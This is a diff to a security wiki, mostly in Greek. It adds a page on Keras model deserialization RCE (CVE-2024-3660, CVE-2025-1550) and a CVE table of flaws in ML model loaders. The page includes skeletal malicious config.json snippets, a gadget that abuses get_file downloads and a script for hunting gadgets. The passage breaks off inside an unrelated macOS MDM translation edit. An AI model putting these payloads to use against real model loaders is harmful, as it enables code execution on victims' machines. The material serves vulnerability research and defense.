diff --git a/src/AI/AI-Models-RCE.md b/src/AI/AI-Models-RCE.md index 0483391e0..172cfdbb4 100644 --- a/src/AI/AI-Models-RCE.md +++ b/src/AI/AI-Models-RCE.md @@ -1,31 +1,31 @@ -# Μοντέλα RCE +# Models RCE {{#include ../banners/hacktricks-training.md}} -## Φόρτωση μοντέλων σε RCE +## Loading models to RCE Τα μοντέλα Μηχανικής Μάθησης συνήθως μοιράζονται σε διάφορες μορφές, όπως ONNX, TensorFlow, PyTorch, κ.λπ. Αυτά τα μοντέλα μπορούν να φορτωθούν σε μηχανές προγραμματιστών ή σε συστήματα παραγωγής για να χρησιμοποιηθούν. Συνήθως, τα μοντέλα δεν θα πρέπει να περιέχουν κακόβουλο κώδικα, αλλά υπάρχουν περιπτώσεις όπου το μοντέλο μπορεί να χρησιμοποιηθεί για την εκτέλεση αυθαίρετου κώδικα στο σύστημα είτε ως προγραμματισμένη δυνατότητα είτε λόγω ευπάθειας στη βιβλιοθήκη φόρτωσης μοντέλων. Κατά τη στιγμή της συγγραφής, αυτά είναι μερικά παραδείγματα αυτού του τύπου ευπαθειών: -| **Framework / Tool** | **Ευπάθεια (CVE αν είναι διαθέσιμη)** | **RCE Vector** | **Αναφορές** | +| **Framework / Tool** | **Vulnerability (CVE if available)** | **RCE Vector** | **References** | |-----------------------------|------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------| -| **PyTorch** (Python) | *Ανασφαλής αποσυμπίεση στο* `torch.load` **(CVE-2025-32434)** | Κακόβουλο pickle στο checkpoint μοντέλου οδηγεί σε εκτέλεση κώδικα (παρακάμπτοντας την προστασία `weights_only`) | | -| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + κακόβουλη λήψη μοντέλου προκαλεί εκτέλεση κώδικα; RCE αποσυμπίεσης Java στο API διαχείρισης | | -| **TensorFlow/Keras** | **CVE-2021-37678** (μη ασφαλές YAML)
**CVE-2024-3660** (Keras Lambda) | Φόρτωση μοντέλου από YAML χρησιμοποιεί `yaml.unsafe_load` (εκτέλεση κώδικα)
Φόρτωση μοντέλου με **Lambda** layer εκτελεί αυθαίρετο Python κώδικα | | -| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite parsing) | Κατασκευασμένο μοντέλο `.tflite` προκαλεί υπερχείλιση ακέραιου → διαφθορά σωρού (πιθανή RCE) | | -| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Φόρτωση ενός μοντέλου μέσω `joblib.load` εκτελεί pickle με το payload `__reduce__` του επιτιθέμενου | | -| **NumPy** (Python) | **CVE-2019-6446** (μη ασφαλές `np.load`) *αμφισβητούμενο* | `numpy.load` προεπιλεγμένα επιτρέπει pickled object arrays – κακόβουλο `.npy/.npz` προκαλεί εκτέλεση κώδικα | | +| **PyTorch** (Python) | *Insecure deserialization in* `torch.load` **(CVE-2025-32434)** | Κακόβουλο pickle στο checkpoint του μοντέλου οδηγεί σε εκτέλεση κώδικα (παρακάμπτοντας την προστασία `weights_only`) | | +| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + κακόβουλη λήψη μοντέλου προκαλεί εκτέλεση κώδικα; RCE μέσω Java deserialization στο API διαχείρισης | | +| **TensorFlow/Keras** | **CVE-2021-37678** (unsafe YAML)
**CVE-2024-3660** (Keras Lambda) | Η φόρτωση μοντέλου από YAML χρησιμοποιεί `yaml.unsafe_load` (εκτέλεση κώδικα)
Η φόρτωση μοντέλου με **Lambda** layer εκτελεί αυθαίρετο Python κώδικα | | +| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite parsing) | Ένα κατεργασμένο μοντέλο `.tflite` προκαλεί υπερχείλιση ακέραιου → διαφθορά σωρού (πιθανή RCE) | | +| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Η φόρτωση ενός μοντέλου μέσω `joblib.load` εκτελεί pickle με το payload `__reduce__` του επιτιθέμενου | | +| **NumPy** (Python) | **CVE-2019-6446** (unsafe `np.load`) *disputed* | Η προεπιλεγμένη επιλογή του `numpy.load` επέτρεπε pickled object arrays – κακόβουλο `.npy/.npz` προκαλεί εκτέλεση κώδικα | | | **ONNX / ONNX Runtime** | **CVE-2022-25882** (dir traversal)
**CVE-2024-5187** (tar traversal) | Η εξωτερική διαδρομή βαρών του μοντέλου ONNX μπορεί να ξεφύγει από τον κατάλογο (ανάγνωση αυθαίρετων αρχείων)
Κακόβουλο μοντέλο ONNX tar μπορεί να αντικαταστήσει αυθαίρετα αρχεία (οδηγώντας σε RCE) | | -| ONNX Runtime (design risk) | *(No CVE)* ONNX custom ops / control flow | Μοντέλο με προσαρμοσμένο τελεστή απαιτεί φόρτωση του εγχώριου κώδικα του επιτιθέμενου; πολύπλοκα γραφήματα μοντέλου εκμεταλλεύονται τη λογική για να εκτελέσουν μη προγραμματισμένους υπολογισμούς | | -| **NVIDIA Triton Server** | **CVE-2023-31036** (path traversal) | Η χρήση του API φόρτωσης μοντέλου με ενεργοποιημένο `--model-control` επιτρέπει σχετική διαδρομή για την εγγραφή αρχείων (π.χ., αντικατάσταση `.bashrc` για RCE) | | -| **GGML (GGUF format)** | **CVE-2024-25664 … 25668** (πολλαπλές υπερχείλιες σωρού) | Κακώς διαμορφωμένο αρχείο μοντέλου GGUF προκαλεί υπερχείλιση buffer σωρού στον αναλυτή, επιτρέποντας την εκτέλεση αυθαίρετου κώδικα στο σύστημα του θύματος | | -| **Keras (παλαιότερες μορφές)** | *(No new CVE)* Legacy Keras H5 model | Κακόβουλο HDF5 (`.h5`) μοντέλο με κώδικα Lambda layer εκτελείται ακόμα κατά τη φόρτωση (η λειτουργία ασφαλείας Keras δεν καλύπτει την παλιά μορφή – “επίθεση υποβάθμισης”) | | -| **Άλλα** (γενικά) | *Σχεδιαστικό σφάλμα* – Αποθήκευση Pickle | Πολλά εργαλεία ML (π.χ., μορφές μοντέλων βασισμένες σε pickle, Python `pickle.load`) θα εκτελέσουν αυθαίρετο κώδικα που είναι ενσωματωμένος σε αρχεία μοντέλων εκτός αν μετριαστούν | | +| ONNX Runtime (design risk) | *(No CVE)* ONNX custom ops / control flow | Το μοντέλο με προσαρμοσμένο τελεστή απαιτεί φόρτωση του εγγενή κώδικα του επιτιθέμενου; πολύπλοκα γραφήματα μοντέλου εκμεταλλεύονται τη λογική για να εκτελέσουν μη προγραμματισμένους υπολογισμούς | | +| **NVIDIA Triton Server** | **CVE-2023-31036** (path traversal) | Η χρήση του API φόρτωσης μοντέλου με ενεργοποιημένο `--model-control` επιτρέπει σχετική διαδρομή για την εγγραφή αρχείων (π.χ., αντικατάσταση του `.bashrc` για RCE) | | +| **GGML (GGUF format)** | **CVE-2024-25664 … 25668** (multiple heap overflows) | Ένα κακοσχηματισμένο αρχείο μοντέλου GGUF προκαλεί υπερχείλιση buffer σωρού στον αναλυτή, επιτρέποντας την εκτέλεση αυθαίρετου κώδικα στο σύστημα του θύματος | | +| **Keras (older formats)** | *(No new CVE)* Legacy Keras H5 model | Κακόβουλο μοντέλο HDF5 (`.h5`) με κώδικα Lambda layer εκτελείται ακόμα κατά τη φόρτωση (η λειτουργία ασφαλείας Keras δεν καλύπτει την παλιά μορφή – “επίθεση υποβάθμισης”) | | +| **Others** (general) | *Design flaw* – Pickle serialization | Πολλά εργαλεία ML (π.χ., μορφές μοντέλων βασισμένες σε pickle, Python `pickle.load`) θα εκτελέσουν αυθαίρετο κώδικα ενσωματωμένο σε αρχεία μοντέλων εκτός αν μετριαστούν | | Επιπλέον, υπάρχουν κάποια μοντέλα βασισμένα σε python pickle, όπως αυτά που χρησιμοποιούνται από [PyTorch](https://github.com/pytorch/pytorch/security), που μπορούν να χρησιμοποιηθούν για την εκτέλεση αυθαίρετου κώδικα στο σύστημα αν δεν φορτωθούν με `weights_only=True`. Έτσι, οποιοδήποτε μοντέλο βασισμένο σε pickle μπορεί να είναι ιδιαίτερα ευάλωτο σε αυτού του τύπου επιθέσεις, ακόμη και αν δεν αναφέρονται στον πίνακα παραπάνω. -### 🆕 InvokeAI RCE μέσω `torch.load` (CVE-2024-12029) +### 🆕 InvokeAI RCE via `torch.load` (CVE-2024-12029) `InvokeAI` είναι μια δημοφιλής ανοιχτού κώδικα διαδικτυακή διεπαφή για το Stable-Diffusion. Οι εκδόσεις **5.3.1 – 5.4.2** εκθέτουν το REST endpoint `/api/v2/models/install` που επιτρέπει στους χρήστες να κατεβάζουν και να φορτώνουν μοντέλα από αυθαίρετες διευθύνσεις URL. @@ -75,7 +75,7 @@ timeout=5, • InvokeAI 5.3.1-5.4.2 (σημαία σάρωσης προεπιλογή **false**) • `/api/v2/models/install` προσβάσιμο από τον επιτιθέμενο -• Η διαδικασία έχει δικαιώματα να εκτελεί εντολές shell +• Η διαδικασία έχει άδειες για να εκτελεί εντολές shell #### Μετριασμοί @@ -87,7 +87,7 @@ timeout=5, --- -Παράδειγμα ad-hoc μετριασμού αν πρέπει να διατηρήσετε παλαιότερες εκδόσεις του InvokeAI σε λειτουργία πίσω από έναν αντίστροφο διακομιστή μεσολάβησης: +Παράδειγμα ad-hoc μετριασμού αν πρέπει να διατηρήσετε παλαιότερες εκδόσεις του InvokeAI να λειτουργούν πίσω από έναν αντίστροφο διακομιστή μεσολάβησης: ```nginx location /api/v2/models/install { deny all; # block direct Internet access @@ -161,6 +161,14 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf: tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it) tf.add(PAYLOAD) # rides the symlink ``` +### Βαθιά ανάλυση: Keras .keras αποσυμπίεση και αναζήτηση gadget + +Για έναν εστιασμένο οδηγό σχετικά με τα εσωτερικά του .keras, RCE Lambda-layer, το ζήτημα αυθαίρετης εισαγωγής σε ≤ 3.8, και την ανακάλυψη gadget μετά την επιδιόρθωση μέσα στη λίστα επιτρεπόμενων, δείτε: + +{{#ref}} +../generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md +{{#endref}} + ## Αναφορές - [OffSec blog – "CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/) diff --git a/src/SUMMARY.md b/src/SUMMARY.md index e7e49e187..781ca1ac5 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -69,6 +69,7 @@ - [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md) - [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md) - [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md) + - [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md) - [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md) - [Pyscript](generic-methodologies-and-resources/python/pyscript.md) - [venv](generic-methodologies-and-resources/python/venv.md) diff --git a/src/generic-methodologies-and-resources/python/README.md b/src/generic-methodologies-and-resources/python/README.md index d506cc177..eb3ee4ea0 100644 --- a/src/generic-methodologies-and-resources/python/README.md +++ b/src/generic-methodologies-and-resources/python/README.md @@ -6,6 +6,7 @@ - [**Pyscript hacking tricks**](pyscript.md) - [**Python deserializations**](../../pentesting-web/deserialization/README.md) +- [**Keras model deserialization RCE and gadget hunting**](keras-model-deserialization-rce-and-gadget-hunting.md) - [**Tricks to bypass python sandboxes**](bypass-python-sandboxes/README.md) - [**Basic python web requests syntax**](web-requests.md) - [**Basic python syntax and libraries**](basic-python.md) diff --git a/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md b/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md new file mode 100644 index 000000000..222a993d7 --- /dev/null +++ b/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md @@ -0,0 +1,207 @@ +# Keras Model Deserialization RCE and Gadget Hunting + +{{#include ../../banners/hacktricks-training.md}} + +Αυτή η σελίδα συνοψίζει πρακτικές τεχνικές εκμετάλλευσης κατά της διαδικασίας αποσυμπίεσης μοντέλου Keras, εξηγεί τα εσωτερικά του εγγενή μορφής .keras και την επιφάνεια επίθεσης, και παρέχει ένα εργαλείο ερευνητή για την εύρεση Ευπαθειών Αρχείων Μοντέλου (MFVs) και gadgets μετά την επιδιόρθωση. + +## Εσωτερικά της μορφής μοντέλου .keras + +Ένα αρχείο .keras είναι ένα ZIP αρχείο που περιέχει τουλάχιστον: +- metadata.json – γενικές πληροφορίες (π.χ., έκδοση Keras) +- config.json – αρχιτεκτονική μοντέλου (κύρια επιφάνεια επίθεσης) +- model.weights.h5 – βάρη σε HDF5 + +Το config.json οδηγεί σε αναδρομική αποσυμπίεση: Η Keras εισάγει μονάδες, επιλύει κλάσεις/συναρτήσεις και ανακατασκευάζει στρώματα/αντικείμενα από λεξικά που ελέγχονται από τον επιτιθέμενο. + +Παράδειγμα αποσπασμάτων για ένα αντικείμενο στρώματος Dense: +```json +{ +"module": "keras.layers", +"class_name": "Dense", +"config": { +"units": 64, +"activation": { +"module": "keras.activations", +"class_name": "relu" +}, +"kernel_initializer": { +"module": "keras.initializers", +"class_name": "GlorotUniform" +} +} +} +``` +Deserialization performs: +- Εισαγωγή μονάδων και επίλυση συμβόλων από τα κλειδιά module/class_name +- από_config(...) ή κλήση κατασκευαστή με kwargs που ελέγχονται από τον επιτιθέμενο +- Αναδρομή σε εσωτερικά αντικείμενα (ενεργοποιήσεις, αρχικοποιητές, περιορισμοί, κ.λπ.) + +Ιστορικά, αυτό αποκάλυψε τρεις πρωτότυπες δυνατότητες σε έναν επιτιθέμενο που δημιουργεί το config.json: +- Έλεγχος των μονάδων που εισάγονται +- Έλεγχος των κλάσεων/συναρτήσεων που επιλύονται +- Έλεγχος των kwargs που περνούν στους κατασκευαστές/από_config + +## CVE-2024-3660 – Lambda-layer bytecode RCE + +Root cause: +- Lambda.from_config() χρησιμοποίησε python_utils.func_load(...) το οποίο αποκωδικοποιεί base64 και καλεί marshal.loads() σε bytes του επιτιθέμενου; Η απομάγευση της Python μπορεί να εκτελέσει κώδικα. + +Exploit idea (simplified payload in config.json): +```json +{ +"module": "keras.layers", +"class_name": "Lambda", +"config": { +"name": "exploit_lambda", +"function": { +"function_type": "lambda", +"bytecode_b64": "" +} +} +} +``` +Mitigation: +- Το Keras επιβάλλει το safe_mode=True από προεπιλογή. Οι σειριοποιημένες Python συναρτήσεις στο Lambda αποκλείονται εκτός αν ο χρήστης επιλέξει ρητά να απενεργοποιήσει το safe_mode=False. + +Notes: +- Οι παλαιές μορφές (παλαιότερες αποθηκεύσεις HDF5) ή οι παλαιότερες βάσεις κώδικα ενδέχεται να μην επιβάλλουν σύγχρονους ελέγχους, επομένως οι επιθέσεις τύπου “downgrade” μπορούν να εφαρμοστούν όταν τα θύματα χρησιμοποιούν παλαιότερους φορτωτές. + +## CVE-2025-1550 – Αυθαίρετη εισαγωγή μονάδας στο Keras ≤ 3.8 + +Root cause: +- _retrieve_class_or_fn χρησιμοποίησε την unrestricted importlib.import_module() με συμβολοσειρές μονάδας που ελέγχονται από τον επιτιθέμενο από το config.json. +- Impact: Αυθαίρετη εισαγωγή οποιασδήποτε εγκατεστημένης μονάδας (ή μονάδας που έχει φυτευτεί από τον επιτιθέμενο στο sys.path). Ο κώδικας εκτελείται κατά την εισαγωγή, στη συνέχεια η κατασκευή του αντικειμένου συμβαίνει με kwargs του επιτιθέμενου. + +Exploit idea: +```json +{ +"module": "maliciouspkg", +"class_name": "Danger", +"config": {"arg": "val"} +} +``` +Ασφαλιστικές βελτιώσεις (Keras ≥ 3.9): +- Λίστα επιτρεπόμενων μονάδων: οι εισαγωγές περιορίζονται σε επίσημα οικοσυστήματα μονάδων: keras, keras_hub, keras_cv, keras_nlp +- Προεπιλογή ασφαλούς λειτουργίας: safe_mode=True αποκλείει την επικίνδυνη φόρτωση σειριακών συναρτήσεων Lambda +- Βασικός έλεγχος τύπων: τα αποσειριασμένα αντικείμενα πρέπει να ταιριάζουν με τους αναμενόμενους τύπους + +## Επιφάνεια gadget μετά την επιδιόρθωση μέσα στη λίστα επιτρεπόμενων + +Ακόμα και με τη λίστα επιτρεπόμενων και την ασφαλή λειτουργία, παραμένει μια ευρεία επιφάνεια μεταξύ των επιτρεπόμενων κλήσεων Keras. Για παράδειγμα, η keras.utils.get_file μπορεί να κατεβάσει αυθαίρετες διευθύνσεις URL σε τοποθεσίες που επιλέγει ο χρήστης. + +Gadget μέσω Lambda που αναφέρεται σε μια επιτρεπόμενη συνάρτηση (όχι σειριακός κωδικός Python): +```json +{ +"module": "keras.layers", +"class_name": "Lambda", +"config": { +"name": "dl", +"function": {"module": "keras.utils", "class_name": "get_file"}, +"arguments": { +"fname": "artifact.bin", +"origin": "https://example.com/artifact.bin", +"cache_dir": "/tmp/keras-cache" +} +} +} +``` +Σημαντικός περιορισμός: +- Η Lambda.call() προσθέτει τον είσοδο tensor ως την πρώτη θετική παράμετρο κατά την κλήση του στόχου callable. Οι επιλεγμένες συσκευές πρέπει να αντέχουν μια επιπλέον θετική παράμετρο (ή να δέχονται *args/**kwargs). Αυτό περιορίζει ποιες συναρτήσεις είναι βιώσιμες. + +Πιθανές επιπτώσεις των επιτρεπόμενων συσκευών: +- Αυθαίρετη λήψη/γραφή (planting διαδρομών, δηλητηρίαση ρυθμίσεων) +- Δικτυακές κλήσεις/επιπτώσεις παρόμοιες με SSRF ανάλογα με το περιβάλλον +- Συσχέτιση με εκτέλεση κώδικα αν οι γραμμένες διαδρομές εισαχθούν/εκτελούνται αργότερα ή προστεθούν στο PYTHONPATH, ή αν υπάρχει μια εγγράψιμη τοποθεσία εκτέλεσης κατά την εγγραφή + +## Εργαλειοθήκη ερευνητή + +1) Συστηματική ανακάλυψη συσκευών σε επιτρεπόμενα modules + +Καταγράψτε υποψήφιες κλήσεις σε keras, keras_nlp, keras_cv, keras_hub και δώστε προτεραιότητα σε αυτές με παρενέργειες αρχείων/δικτύου/διαδικασιών/περιβάλλοντος. +```python +import importlib, inspect, pkgutil + +ALLOWLIST = ["keras", "keras_nlp", "keras_cv", "keras_hub"] + +seen = set() + +def iter_modules(mod): +if not hasattr(mod, "__path__"): +return +for m in pkgutil.walk_packages(mod.__path__, mod.__name__ + "."): +yield m.name + +candidates = [] +for root in ALLOWLIST: +try: +r = importlib.import_module(root) +except Exception: +continue +for name in iter_modules(r): +if name in seen: +continue +seen.add(name) +try: +m = importlib.import_module(name) +except Exception: +continue +for n, obj in inspect.getmembers(m): +if inspect.isfunction(obj) or inspect.isclass(obj): +sig = None +try: +sig = str(inspect.signature(obj)) +except Exception: +pass +doc = (inspect.getdoc(obj) or "").lower() +text = f"{name}.{n} {sig} :: {doc}" +# Heuristics: look for I/O or network-ish hints +if any(x in doc for x in ["download", "file", "path", "open", "url", "http", "socket", "env", "process", "spawn", "exec"]): +candidates.append(text) + +print("\n".join(sorted(candidates)[:200])) +``` +2) Άμεση δοκιμή αποσειριοποίησης (δεν απαιτείται αρχείο .keras) + +Τροφοδοτήστε κατασκευασμένα dicts απευθείας στους αποσειριοποιητές Keras για να μάθετε τις αποδεκτές παραμέτρους και να παρατηρήσετε τις παρενέργειες. +```python +from keras import layers + +cfg = { +"module": "keras.layers", +"class_name": "Lambda", +"config": { +"name": "probe", +"function": {"module": "keras.utils", "class_name": "get_file"}, +"arguments": {"fname": "x", "origin": "https://example.com/x"} +} +} + +layer = layers.deserialize(cfg, safe_mode=True) # Observe behavior +``` +3) Διείσδυση και μορφές διαφόρων εκδόσεων + +Το Keras υπάρχει σε πολλές βάσεις κώδικα/εποχές με διαφορετικούς φραγμούς και μορφές: +- TensorFlow ενσωματωμένο Keras: tensorflow/python/keras (παλαιά, προγραμματισμένο για διαγραφή) +- tf-keras: διατηρείται ξεχωριστά +- Multi-backend Keras 3 (επίσημο): εισήγαγε το εγγενές .keras + +Επαναλάβετε τις δοκιμές σε βάσεις κώδικα και μορφές (.keras vs παλαιά HDF5) για να αποκαλύψετε ανατροπές ή ελλείποντες φραγμούς. + +## Αμυντικές συστάσεις + +- Αντιμετωπίστε τα αρχεία μοντέλου ως μη αξιόπιστη είσοδο. Φορτώστε μοντέλα μόνο από αξιόπιστες πηγές. +- Διατηρήστε το Keras ενημερωμένο; χρησιμοποιήστε Keras ≥ 3.9 για να επωφεληθείτε από την επιτρεπτική λίστα και τους ελέγχους τύπου. +- Μην ορίζετε safe_mode=False κατά την φόρτωση μοντέλων εκτός αν εμπιστεύεστε πλήρως το αρχείο. +- Σκεφτείτε να εκτελέσετε την αποσυμπίεση σε ένα απομονωμένο, λιγότερο προνομιούχο περιβάλλον χωρίς έξοδο δικτύου και με περιορισμένη πρόσβαση στο σύστημα αρχείων. +- Επιβάλετε επιτρεπτικές λίστες/υπογραφές για πηγές μοντέλων και έλεγχο ακεραιότητας όπου είναι δυνατόν. + +## Αναφορές + +- [Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)](https://blog.huntr.com/hunting-vulnerabilities-in-keras-model-deserialization) +- [Keras PR #20751 – Added checks to serialization](https://github.com/keras-team/keras/pull/20751) +- [CVE-2024-3660 – Keras Lambda deserialization RCE](https://nvd.nist.gov/vuln/detail/CVE-2024-3660) +- [CVE-2025-1550 – Keras arbitrary module import (≤ 3.8)](https://nvd.nist.gov/vuln/detail/CVE-2025-1550) +- [huntr report – arbitrary import #1](https://huntr.com/bounties/135d5dcd-f05f-439f-8d8f-b21fdf171f3e) +- [huntr report – arbitrary import #2](https://huntr.com/bounties/6fcca09c-8c98-4bc5-b32c-e883ab3e4ae3) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md index 4ec7d3e87..182d71fde 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md @@ -14,12 +14,12 @@ [Διαχείριση Κινητών Συσκευών](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) χρησιμοποιείται για την εποπτεία διαφόρων συσκευών τελικού χρήστη όπως smartphones, laptops και tablets. Ιδιαίτερα για τις πλατφόρμες της Apple (iOS, macOS, tvOS), περιλαμβάνει ένα σύνολο εξειδικευμένων χαρακτηριστικών, APIs και πρακτικών. Η λειτουργία του MDM εξαρτάται από έναν συμβατό διακομιστή MDM, ο οποίος είναι είτε εμπορικά διαθέσιμος είτε ανοιχτού κώδικα, και πρέπει να υποστηρίζει το [Πρωτόκολλο MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Κύρια σημεία περιλαμβάνουν: - Κεντρικός έλεγχος των συσκευών. -- Εξάρτηση από έναν διακομιστή MDM που τηρεί το πρωτόκολλο MDM. +- Εξάρτηση από έναν διακομιστή MDM που συμμορφώνεται με το πρωτόκολλο MDM. - Ικανότητα του διακομιστή MDM να αποστέλλει διάφορες εντολές στις συσκευές, για παράδειγμα, απομακρυσμένη διαγραφή δεδομένων ή εγκατάσταση ρυθμίσεων. ### **Βασικά του DEP (Πρόγραμμα Εγγραφής Συσκευών)** -Το [Πρόγραμμα Εγγραφής Συσκευών](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) που προσφέρει η Apple απλοποιεί την ενσωμάτωση της Διαχείρισης Κινητών Συσκευών (MDM) διευκολύνοντας τη ρύθμιση χωρίς επαφή για συσκευές iOS, macOS και tvOS. Το DEP αυτοματοποιεί τη διαδικασία εγγραφής, επιτρέποντας στις συσκευές να είναι λειτουργικές αμέσως μόλις ανοίξουν τη συσκευασία, με ελάχιστη παρέμβαση από τον χρήστη ή τον διαχειριστή. Σημαντικές πτυχές περιλαμβάνουν: +Το [Πρόγραμμα Εγγραφής Συσκευών](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) που προσφέρει η Apple απλοποιεί την ενσωμάτωση της Διαχείρισης Κινητών Συσκευών (MDM) διευκολύνοντας τη ρύθμιση χωρίς επαφή για συσκευές iOS, macOS και tvOS. Το DEP αυτοματοποιεί τη διαδικασία εγγραφής, επιτρέποντας στις συσκευές να είναι λειτουργικές αμέσως μόλις ανοίξουν, με ελάχιστη παρέμβαση από τον χρήστη ή τον διαχειριστή. Σημαντικές πτυχές περιλαμβάνουν: - Επιτρέπει στις συσκευές να εγγράφονται αυτόματα σε έναν προκαθορισμένο διακομιστή MDM κατά την αρχική ενεργοποίηση. - Κυρίως ωφέλιμο για καινούργιες συσκευές, αλλά εφαρμόσιμο και για συσκευές που επαναρυθμίζονται. @@ -39,7 +39,7 @@ ### Τι είναι τα Προφίλ Ρυθμίσεων (aka mobileconfigs); -- Ο επίσημος τρόπος της Apple για **ρύθμιση/επιβολή συστήματος ρυθμίσεων.** +- Ο επίσημος τρόπος της Apple για **ρύθμιση/επιβολή της διαμόρφωσης του συστήματος.** - Μορφή αρχείου που μπορεί να περιέχει πολλαπλά payloads. - Βασισμένο σε λίστες ιδιοτήτων (του XML τύπου). - “μπορεί να υπογραφεί και να κρυπτογραφηθεί για να επιβεβαιώσει την προέλευσή τους, να διασφαλίσει την ακεραιότητά τους και να προστατεύσει το περιεχόμενό τους.” Βασικά — Σελίδα 70, Οδηγός Ασφαλείας iOS, Ιανουάριος 2018. @@ -66,16 +66,16 @@ **API "cloud service" DEP** - RESTful -- συγχρονίζει τα αρχεία συσκευών από την Apple στον διακομιστή MDM +- συγχρονίζει τις εγγραφές συσκευών από την Apple στον διακομιστή MDM - συγχρονίζει τα “DEP profiles” στην Apple από τον διακομιστή MDM (παραδίδεται από την Apple στη συσκευή αργότερα) - Ένα DEP “profile” περιέχει: - URL διακομιστή προμηθευτή MDM -- Πρόσθετα αξιόπιστα πιστοποιητικά για το URL διακομιστή (προαιρετική pinning) -- Επιπλέον ρυθμίσεις (π.χ. ποιες οθόνες να παραλειφθούν στον Βοηθό Ρύθμισης) +- Πρόσθετα αξιόπιστα πιστοποιητικά για το URL του διακομιστή (προαιρετική pinning) +- Πρόσθετες ρυθμίσεις (π.χ. ποιες οθόνες να παραλειφθούν στον Βοηθό Ρύθμισης) ## Αριθμός Σειράς -Οι συσκευές Apple που κατασκευάστηκαν μετά το 2010 έχουν γενικά **12-χαρακτήρων αλφαριθμητικούς** αριθμούς σειράς, με τα **πρώτα τρία ψηφία να αντιπροσωπεύουν την τοποθεσία κατασκευής**, τα επόμενα **δύο** να υποδεικνύουν το **έτος** και την **εβδομάδα** κατασκευής, τα επόμενα **τρία** ψηφία να παρέχουν έναν **μοναδικό** **αναγνωριστικό**, και τα **τελευταία** **τέσσερα** ψηφία να αντιπροσωπεύουν τον **αριθμό μοντέλου**. +Οι συσκευές της Apple που κατασκευάστηκαν μετά το 2010 έχουν γενικά **12-χαρακτήρων αλφαριθμητικούς** αριθμούς σειράς, με τα **πρώτα τρία ψηφία να αντιπροσωπεύουν την τοποθεσία κατασκευής**, τα επόμενα **δύο** να υποδεικνύουν το **έτος** και την **εβδομάδα** κατασκευής, τα επόμενα **τρία** ψηφία να παρέχουν έναν **μοναδικό** **αναγνωριστικό**, και τα **τελευταία** **τέσσερα** ψηφία να αντιπροσωπεύουν τον **αριθμό μοντέλου**. {{#ref}} macos-serial-number.md @@ -83,9 +83,9 @@ macos-serial-number.md ## Βήματα για εγγραφή και διαχείριση -1. Δημιουργία αρχείου συσκευής (Μεταπωλητής, Apple): Το αρχείο για τη νέα συσκευή δημιουργείται -2. Ανάθεση αρχείου συσκευής (Πελάτης): Η συσκευή ανατίθεται σε έναν διακομιστή MDM -3. Συγχρονισμός αρχείου συσκευής (Προμηθευτής MDM): Ο MDM συγχρονίζει τα αρχεία συσκευών και σπρώχνει τα προφίλ DEP στην Apple +1. Δημιουργία εγγραφής συσκευής (Μεταπωλητής, Apple): Δημιουργείται η εγγραφή για τη νέα συσκευή +2. Ανάθεση εγγραφής συσκευής (Πελάτης): Η συσκευή ανατίθεται σε έναν διακομιστή MDM +3. Συγχρονισμός εγγραφής συσκευής (Προμηθευτής MDM): Ο MDM συγχρονίζει τις εγγραφές συσκευών και σπρώχνει τα προφίλ DEP στην Apple 4. Έλεγχος DEP (Συσκευή): Η συσκευή αποκτά το προφίλ DEP της 5. Ανάκτηση προφίλ (Συσκευή) 6. Εγκατάσταση προφίλ (Συσκευή) α. συμπεριλαμβανομένων των payloads MDM, SCEP και root CA @@ -93,9 +93,9 @@ macos-serial-number.md ![](<../../../images/image (694).png>) -Το αρχείο `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` εξάγει συναρτήσεις που μπορούν να θεωρηθούν **υψηλού επιπέδου "βήματα"** της διαδικασίας εγγραφής. +Το αρχείο `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` εξάγει λειτουργίες που μπορούν να θεωρηθούν **υψηλού επιπέδου "βήματα"** της διαδικασίας εγγραφής. -### Βήμα 4: Έλεγχος DEP - Λήψη του Αρχείου Ενεργοποίησης +### Βήμα 4: Έλεγχος DEP - Λήψη της Εγγραφής Ενεργοποίησης Αυτό το μέρος της διαδικασίας συμβαίνει όταν ένας **χρήστης εκκινεί ένα Mac για πρώτη φορά** (ή μετά από πλήρη διαγραφή) @@ -104,13 +104,13 @@ macos-serial-number.md ή όταν εκτελείται `sudo profiles show -type enrollment` - Καθορίστε **αν η συσκευή είναι 